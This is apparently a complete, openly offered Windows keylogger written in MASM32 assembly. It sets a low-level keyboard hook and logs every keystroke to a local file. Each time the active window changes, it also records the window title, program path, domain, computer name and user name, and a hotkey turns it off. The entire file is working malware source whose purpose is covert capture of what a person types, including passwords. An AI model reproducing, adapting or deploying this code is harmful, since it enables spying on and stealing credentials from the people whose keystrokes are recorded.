MASM32 [kEYlOGER]

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
;*******************************************************************************
; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
;*******************************************************************************
.386
.model flat, stdcall
option casemap:none
include \ASM\masm32\include\windows.inc
include \ASM\masm32\include\kernel32.inc
include \ASM\masm32\include\user32.inc
include \ASM\masm32\include\advapi32.inc
include msvcrt.inc
includelib \ASM\masm32\lib\user32.lib
includelib \ASM\masm32\lib\kernel32.lib
includelib \ASM\masm32\lib\advapi32.lib
includelib msvcrt.lib
pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm
.data
CopyRight db "CopyRight 2005, ZOverLords@Yahoo.com"
Vist db "http://testing.OnlyTheRightAnswers.com"
hBuffer dd ?
hComputerName db 32 dup(0)
hCurrentThreadPiD dd 0
hCurrentWindow dd 0
hDateFormat db "dd MMM yyyy", 0
hDomaineName db 128 dup(0)
hFile dd 0
hHook dd 0
hmodul MODULEENTRY32 <>
hSnapShot dd 0
hTimeFormat db "hh:mm:ss tt", 0
hUserName db 32 dup(0)
msg MSG <>
onlyOneCopy db "Global\zkl",0
.code
main:
push offset onlyOneCopy; check to make sure we are the only copy
push 0 ; of this program running for this user
push 0 ; for fast user switching we can still have
call CreateMutexA ; one copy per user running with this check
call GetLastError ; but if this user is running one already. we exit
cmp eax,ERROR_ALREADY_EXISTS
je more_than_one_copy
xor ebx, ebx ; Zero Out ebx
push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -> "0BADFACE"
push ebx ;
call RegisterHotKey ; we got a new hot key
pushz "ab" ; append in binary mode
pushz "ZKeyLog.txt" ; name of log file
call fopen ; open the log file
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax ; save our file number
push ebx
call GetModuleHandleA; get our module handle for setting the hook
push ebx ; register our keyboard hook proc and start hooking
push eax
push offset KeyBoardProc; where our hook proc is located
push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
call SetWindowsHookExA; Look MOM no DLL Needed :P
mov [hHook], eax ; ok here is our hook handle for later
push ebx ; We Need to check for messages like our
push ebx ; hot key, so we can close when we get it
push ebx
push offset msg ; it will be in the message struct
call GetMessageA ; wait for a message
push [hHook] ; we got the hot key, lets close up house
call UnhookWindowsHookEx; make sure we unhook things to be nice
push [hFile] ; close our logfile before we stop
call fclose
add esp, 04
more_than_one_copy:
push eax ; call stop and lets go away
call ExitProcess
;##############################################################
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
LOCAL lpDateBuf[12] :BYTE
LOCAL lpTimeBuf[12] :BYTE
LOCAL lpLocalTime :SYSTEMTIME
;----------------------------
lea edi, [lpKeyState]; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd ; sets us up for doubleword from EAX
mov eax, wParam
cmp eax, WM_KEYUP ; only need WM_KEYDOWN
je next_hook ; bypass double logging
cmp eax, WM_SYSKEYUP; only Need WM_SYSKEYDOWN
je next_hook ; bypass double logging
call GetForegroundWindow; get handle for currently used window ( specific to NT and after )
cmp [hCurrentWindow], eax; if its not different to last one saved..
je no_window_change ; bypass all the headings
mov [hCurrentWindow], eax; save it for use now and compare later
push 64 ; get the class name
lea esi, [lpClassName]
push esi
push [hCurrentWindow]
call GetClassName
lea esi, [lpLocalTime]; invoke GetLocalTime, ADDR LocalTime
push esi
call GetLocalTime
push 12 ; invoke GetDateFormat, NULL, NULL \
lea esi, [lpDateBuf]
push esi ; ADDR lpLocalTime, ADDR hDateFormat \
lea esi, [hDateFormat]
push esi ; ADDR lpDateBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetDateFormat ; format the date
push 12 ; invoke GetTimeFormat, NULL, NULL \
lea esi, [lpTimeBuf]
push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
lea esi, [hTimeFormat]
push esi ; ADDR lpTimeBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetTimeFormat ; format the time
lea esi, [hCurrentThreadPiD]; get the processid that sent the key
push esi ; using the HWND we got earlier from
mov eax, [hCurrentWindow] ; our GetForegroundWindow call
push eax ; we need it to get the program exe name
call GetWindowThreadProcessId
mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
push ebx ; we need to use ToolHelp procs to get
push TH32CS_SNAPMODULE ; the program exe name of who sent us
call CreateToolhelp32Snapshot; this key
mov hSnapShot,eax ; save the ToolHelp Handle to close later
mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
push offset hmodul ; first Module is always module for process
mov eax, [hSnapShot]; so safe to assume that the exe file name here
push eax ; will always be the right one for us
call Module32First
mov eax, [hSnapShot]; we are done with ToolHelp so we need
push eax ; to tell it we wish to close
call CloseHandle
push 256 ; find the window title text
lea esi, [lpKeyState]; use lpKeyState it's not being used yet so
push esi
mov eax, [hCurrentWindow]; using the HWND we got from GetForegroundWindow
push eax
call GetWindowText
push offset hmodul.szExePath
lea esi, [lpTimeBuf]; print the formatted time
push esi
lea esi, [lpDateBuf]; print the formatted date
push esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
lea esi, [lpClassName]; print the Window Class Name
push esi
lea esi, [lpKeyState]; print the Window Title
push esi
pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
mov hBuffer, 128 ; get the current domain name
push offset hBuffer
push offset hDomaineName
push 1
call GetComputerNameExA
mov hBuffer, 32 ; get the current computer name
push offset hBuffer
push offset hComputerName
push 0
call GetComputerNameExA
mov hBuffer, 32 ; get the current user name
push offset hBuffer
push offset hUserName
call GetUserNameA
push offset hUserName; print the user name
push offset hComputerName; print the computer name
push offset hDomaineName; print the domain name
pushz "[Domain:%s - Computer:%s - User:%s]",13,10
push [hFile]
call fprintf ; write to cache
add esp, 3*4
push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4
no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook ; bypass caps lock Key
cmp al, VK_ESCAPE
je get_name_of_key ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key ; we want backspace key
cmp al, VK_TAB
je get_name_of_key ; we want tab key
;------------------
lea edi, [lpCharBuf]; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state
push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi
push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN
mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.
get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax
push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA ; get the key text
push edi
pushz "[%s]" ; print the special key text
jmp write_to_file
test_carriage_return:
push edi
pushz "%s" ; print regular keys
cmp byte ptr [edi], 0dh; carriage return?
jne write_to_file
mov byte ptr [edi + 1], 0ah; add linefeed, so logs are easier to read.
write_to_file:
push [hFile] ; where we write to the log file
call fprintf
add esp, 2*4
next_hook:
push [lParam] ; reply for possible other hooks waiting
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP
end main
end main